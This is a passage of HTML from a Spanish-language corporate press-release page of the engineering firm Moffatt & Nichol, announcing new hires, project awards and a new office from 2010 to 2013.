“amplio espectro” para integrar la ciencia y la ingeniería. Moffatt & Nichol comparte esta visión y estoy orgulloso de sumarme a este equipo”.\r\n\r\nEl Dr. McCrain obtuvo su título de Maestría en Ciencias Botánicas en North Carolina State University (NCSU). También posee un doctorado en Manejo de Recursos del NCSU. Sus afiliaciones profesionales incluyen la Sociedad de Científicos de Humedales, la Academia de Profesionales Ambientales Certificados y la Sociedad de Investigación Científica Sigma Xi.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"17\">Kerry Simpson se une a Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\"><img title=\"Kerry Simpson\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\" alt=\"\" width=\"154\" height=\"214\" /></a>\r\nLONG BEACH, CA, Diciembre 3, 2013 – Moffatt & Nichol se complace en anunciar que el ingeniero Kerry Simpson se une a nuestra firma como miembro clave para la práctica de terminales marítimas. El Sr. Simpson tiene más de 23 años de experiencia enfocada en la planeación, análisis y diseño de terminales portuarias, incluyendo terminales ferroviarias y de contenedores. Ha trabajado extensamente con autoridades portuarias, compañías navieras, operadores de terminales, compañías ferroviarias y proveedores de equipos y sistemas. Su experiencia abarca desde planeación conceptual hasta la culminación de la construcción y ha realizado análisis y planeación para numerosas terminales de contenedores, incluyendo patios de almacenaje, patios de ferrocarril intermodal, garitas, edificios y seguridad en sitio. Ha estado involucrado en la planeación y diseño de numerosas terminales con un rendimiento anual superior a los 2,000,000 de TEUs y posee amplios conocimientos en diseño, diversos modos operativos para terminales y todo tipo de equipo para manejo de contenedores. \r\n\r\n“La amplia y profunda experiencia de Kerry en planeación portuaria, análisis y diseño es una valiosa adición a nuestras capacidades integradas” comentó Richard Steinke, líder de la práctica de terminales marítimas para Moffatt & Nichol. “Estamos contentos de tenerlo a bordo para proveer apoyo a nuestros clientes a nivel mundial”.\r\n\r\nEl señor Simpson obtuvo su título de maestría en Ingeniería Civil en California State University y su título de licenciatura en Ciencias Oceanográficas en Humbold State University. Es también miembro activo de Sociedad Americana de Ingenieros Civiles.\r\n\r\nSobre su transición a Moffatt & Nichol, el Sr. Simpson comentó: “esta es una gran oportunidad de participar en los futuros emprendimientos de Moffatt & Nichol y de continuar desarrollando puertos de primera clase alrededor del mundo. Estoy orgulloso de sumarme a este equipo”. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"16\">Moffatt & Nichol da la bienvenida a Olie Abbamonto como Directora de Finanzas</h3>\r\n<a href=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\"><img title=\"Olie Abbamonto\" src=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\" alt=\"\" width=\"200\" height=\"280\" /></a>\r\nLONG BEACH, CA, noviembre 12, 2013 – Moffatt & Nichol se complace en anunciar que Olie Abbamonto se une a la firma como Directora de Finanzas. La señora Abbamonto posee más de 20 años de experiencia en manejo financiero, planificación estratégica y contabilidad con firmas internacionales, con experiencia en implementación de Six Sigma. \r\n\r\nEn su papel como Directora de Finanzas, la señora  Abbamonto se encargará de supervisar las responsabilidades del día a día de la planificación, implementación, administración y control de todas las actividades financieras de la empresa. Previo a su integro a Moffatt & Nichol, la señora Abbamonto fue Vice Presidenta de Finanzas y Directora de Finanzas en Cardno ERI, una firma consultora ambiental, subsidiaria de Cardno, donde se desempeñó en comités domésticos y globales. Anteriormente con Mazda North American Operations la señora Abbamonto fue totalmente responsable del desarrollo e implementación del programa Six Sigma para las operaciones de la firma en  de América del Norte. \r\n\r\nLa señora Abbamonto es egresada de Ain Shames University en Cairo, Egipto. Es también miembro activa de Financial Executives International, y se ha desempeñado como miembro de la directiva. Este año fue nominada como Jefa de Finanzas del año para el Business Journal del condado de Orange.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta 